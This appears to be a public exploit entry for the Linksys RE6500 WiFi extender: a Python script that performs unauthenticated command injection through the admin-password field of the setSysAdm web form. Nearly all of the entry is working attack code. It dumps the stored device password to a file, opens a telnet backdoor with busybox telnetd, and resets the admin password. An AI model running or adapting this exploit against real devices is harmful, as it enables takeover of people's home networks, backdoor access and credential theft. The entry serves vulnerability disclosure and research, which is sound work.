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Linksys RE6500 1.0.11.001 - Unauthenticated RCE

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# Exploit Title: Linksys RE6500 1.0.11.001 - Unauthenticated RCE
# Date: 31/07/2020
# Exploit Author: RE-Solver
# Public disclosure: https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4
# Vendor Homepage: www.linksys.com
# Version:  FW V1.05 up to FW v1.0.11.001
# Tested on: FW V1.05 up to FW v1.0.11.001
# Linksys RE6500 V1.0.05.003 and newer - Unauthenticated RCE
# Unsanitized user input in the web interface for Linksys WiFi extender RE6500 allows Unauthenticated remote command execution. 
# An attacker can access system OS configurations and commands that are not intended for use beyond the web UI. 

#!/usr/bin/env python

from requests import Session
import requests
import os
print("Linksys RE6500, RE6500 - Unsanitized user input allows Unauthenticated remote command execution.")
print("Tested on FW V1.05 up to FW v1.0.11.001")
print("RE-Solver @solver_re")
ip="192.168.1.226"

command="nvram_get Password >/tmp/lastpwd"
#save device password;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r= s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Prev password saved in /tmp/lastpwd")

command="busybox telnetd"
#start telnetd;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Telnet Enabled")

#set admin password
post_data="admuser=admin&admpass=0000074200016071000071120003627500015159&confirmadmpass=admin&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Prevent corrupting nvram - set a new password= admin")
            
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